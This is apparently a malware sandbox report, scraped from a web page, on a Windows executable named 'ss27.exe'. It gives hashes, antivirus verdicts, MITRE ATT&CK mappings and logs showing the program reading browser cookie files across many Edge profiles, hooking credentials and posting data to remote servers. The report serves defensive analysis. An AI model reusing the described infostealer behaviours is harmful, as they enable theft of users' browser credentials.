27\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 28\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 29\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 30\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 31\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 32\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 33\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 34\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 35\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 36\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 37\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 38\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 39\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 40\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 41\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 42\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 43\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 44\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 45\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 46\NETWORK\COOKIES" "ss27.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 47\NETWORK\COOKIES"36:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAACIiHgAAAAAAAAAAAAAAAiHiIiHcAAAAAAAAAAAAIiIiP//+IeAAAAAAAAAiIiIj///iP/4dwAAAAAAB3iP/////4iI/4h4AAAAAAeP/////4iIiIj/h4AAAAAIiI////iIiPiIiPh3gAAAAAiIj//4//iIiIiPiHgAAAAACIiP///4iIiIi4+IeAAAAAAAiI///4iIi4i7iIeAAAAAAACIj/+IiIi7u7uId3AAAwATMIiP/4iIu7uIiIhwAAcQERE3d3iId3iIiIiIcAABEDNzMzMRMxERF4iIiHAAB3cXd3d3czMzMRF4iIhwAAd3AHd3d3dzMzMReIiIgAAHNzABEXd3d3d3c3iIiIAAAHdxABETd3d3d3N4iIiAAABzc3cBETN3d3d3iIiIgAAAB3d4YRMTd3d3d4iI/4AAAAc3eHMzd3d3d3f4+IiAAAAAdzeHE3d3N3cIiIiIcAAAAAB3d2Mzd3AAAAAAAAAAAAAAAHh3dwAAAAAAAAAAAAAAAAAIhwAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAAAAAAAAAAAAIcAAAAAAAAAAAAAAAAAAAAIcAAAAAAAAAAAAAAAAAAACHAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////+B///8AP//4AA//gAAH/wAAAf8AAAD/AAAAP8AAAB/wAAAH/gAAA+OAAADwIAAA8AAAAPAAAADwAAAA8AAAAPAAAAD4AAAA+AAAAPwAAAD8AAAA/gABAP+AD///4H////D////4f////H////4////+P////z///////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791140675925,"unified_at":"2026-10-04T19:04:35.925Z","metadata":{"hashes":{"sha256":"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d","sha1":"e36b1665923a372837c261b57d002622c5385d66","md5":"ebe51104a56d305aac2419e97e58f975","sha512":"0718df53fa091346da7e7d79e94db9fdf0e6ff4e3ddc9e93a7bab405763b181f30292eacd54d16fc8efd7ba8fcc32d1c32a2baf8e5310017bf18a3491cde613a","ssdeep":"6144:x5UguSWlTtbveMH2QRObpNSEmV5cvWeKwDWusJkUpCvpniMWJlHQhynq3W4qOmc/:x5JGFveBQETwyjdJiGEEgSo5Xw","ssdeep_chunks":["6144:x5UguSW","6144:5UguSWl","6144:UguSWlT","6144:guSWlTt","6144:uSWlTtb","6144:SWlTtbv","6144:WlTtbve","6144:lTtbveM","6144:TtbveMH","6144:tbveMH2","6144:bveMH2Q","6144:veMH2QR","6144:eMH2QRO","6144:MH2QROb","6144:H2QRObp","6144:2QRObpN","6144:QRObpNS","6144:RObpNSE","6144:ObpNSEm","6144:bpNSEmV","6144:pNSEmV5","6144:NSEmV5c","6144:SEmV5cv","6144:EmV5cvW","6144:mV5cvWe","6144:V5cvWeK","6144:5cvWeKw","6144:cvWeKwD","6144:vWeKwDW","6144:WeKwDWu","6144:eKwDWus","6144:KwDWusJ","6144:wDWusJk","6144:DWusJkU","6144:WusJkUp","6144:usJkUpC","6144:sJkUpCv","6144:JkUpCvp","6144:kUpCvpn","6144:UpCvpni","6144:pCvpniM","6144:CvpniMW","6144:vpniMWJ","6144:pniMWJl","6144:niMWJlH","6144:iMWJlHQ","6144:MWJlHQh","6144:WJlHQhy","6144:JlHQhyn","6144:lHQhynq","6144:HQhynq3","6144:Qhynq3W","6144:hynq3W4","6144:ynq3W4q","6144:nq3W4qO","6144:q3W4qOm","6144:3W4qOmc","6144:W4qOmc/","12288:x5UguSW","12288:5UguSWl","12288:UguSWlT","12288:guSWlTt","12288:uSWlTtb","12288:SWlTtbv","12288:WlTtbve","12288:lTtbveM","12288:TtbveMH","12288:tbveMH2","12288:bveMH2Q","12288:veMH2QR","12288:eMH2QRO","12288:MH2QROb","12288:H2QRObp","12288:2QRObpN","12288:QRObpNS","12288:RObpNSE","12288:ObpNSEm","12288:bpNSEmV","12288:pNSEmV5","12288:NSEmV5c","12288:SEmV5cv","12288:EmV5cvW","12288:mV5cvWe","12288:V5cvWeK","12288:5cvWeKw","12288:cvWeKwD","12288:vWeKwDW","12288:WeKwDWu","12288:eKwDWus","12288:KwDWusJ","12288:wDWusJk","12288:DWusJkU","12288:WusJkUp","12288:usJkUpC","12288:sJkUpCv","12288:JkUpCvp","12288:kUpCvpn","12288:UpCvpni","12288:pCvpniM","12288:CvpniMW","12288:vpniMWJ","12288:pniMWJl","12288:niMWJlH","12288:iMWJlHQ","12288:MWJlHQh","12288:WJlHQhy","12288:JlHQhyn","12288:lHQhynq","12288:HQhynq3","12288:Qhynq3W","12288:hynq3W4","12288:ynq3W4q","12288:nq3W4qO","12288:q3W4qOm","12288:3W4qOmc","12288:W4qOmc/","6144:x5JGFve","6144:5JGFveB","6144:JGFveBQ","6144:GFveBQE","6144:FveBQET","6144:veBQETw","6144:eBQETwy","6144:BQETwyj","6144:QETwyjd","6144:ETwyjdJ","6144:TwyjdJi","6144:wyjdJiG","6144:yjdJiGE","6144:jdJiGEE","6144:dJiGEEg","6144:JiGEEgS","6144:iGEEgSo","6144:GEEgSo5","6144:EEgSo5X","6144:EgSo5Xw"],"imphash":"cf7f43e95d6cd4ff3372b7d3c87b1237"},"file_info":{"file_name":"ss27.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":837632,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1678444319000,"last_seen":1678461244000,"last_multi_scan":1678461244000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":31},"sandbox_signatures":{"informative_count":57,"suspicious_count":17,"malicious_count":4,"total":78},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/YAV.Minerva.njkmd","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan/Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to modify processes thread functionality (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Found API related strings"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Found debugger evasion api strings"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Found a cryptographic related string"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Contains ability to query volume size (API string)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS version (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Contains ability to retrieve local language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Exfiltration","technique":"Exfiltration to Cloud Storage","attack_id":"T1567.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1567/002","identifiers":[{"type":"informative","value":"Found strings related to cloud services domains (possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1471","attack_id_wiki":"https://attack.mitre.org/techniques/T1471","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"YARA signature match - RC4 Encryption"}],"sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"ss27.exe\" called \"FindResourceA\" with parameter \"1\" - (UID: 00000000-00001944)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"ss27.exe\" called \"LoadResource\" (UID: 00000000-00001944)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Observed api string:\"SetUnhandledExceptionFilter\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]\n Observed api string:\"UnhandledExceptionFilter\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found debugger evasion api strings","description":"Observed string:\"OutputDebugString\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Observed api string:\"CryptUnprotectData which can perform decryption and does an integrity check of the data\"[Source: 00000000-00001944.00000000.78582.87E10000.00000040.mdmp\n 00000000-00001944.00000000.78582.88310000.00000004.mdmp\n 00000000-00001944.00000000.78582.88500000.00000040.mdmp\n 00000000-00001944.00000001.80504.87E10000.00000040.mdmp\n 00000000-00001944.00000001.80504.88310000.00000004.mdmp\n 00000000-00001944.00000001.80504.88500000.00000040.mdmp\n 00000000-00001944.00000002.82423.87E10000.00000040.mdmp\n 00000000-00001944.00000002.82423.88310000.00000004.mdmp\n 00000000-00001944.00000002.82423.88500000.00000040.mdmp]","origin":"File/Memory","mitre_attack_id":"T1471","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"ss27.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001944)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"ss27.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve local language (API string)","description":"Observed string:\"GetLocaleInfoW\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]\n Observed string:\"GetLocaleInfoW\" [Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp\n 00000000-00001944.00000000.78582.87E10000.00000040.mdmp\n 00000000-00001944.00000000.78582.88310000.00000004.mdmp\n 00000000-00001944.00000000.78582.88500000.00000040.mdmp\n 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp\n 00000000-00001944.00000001.80504.87E10000.00000040.mdmp\n 00000000-00001944.00000001.80504.88310000.00000004.mdmp\n 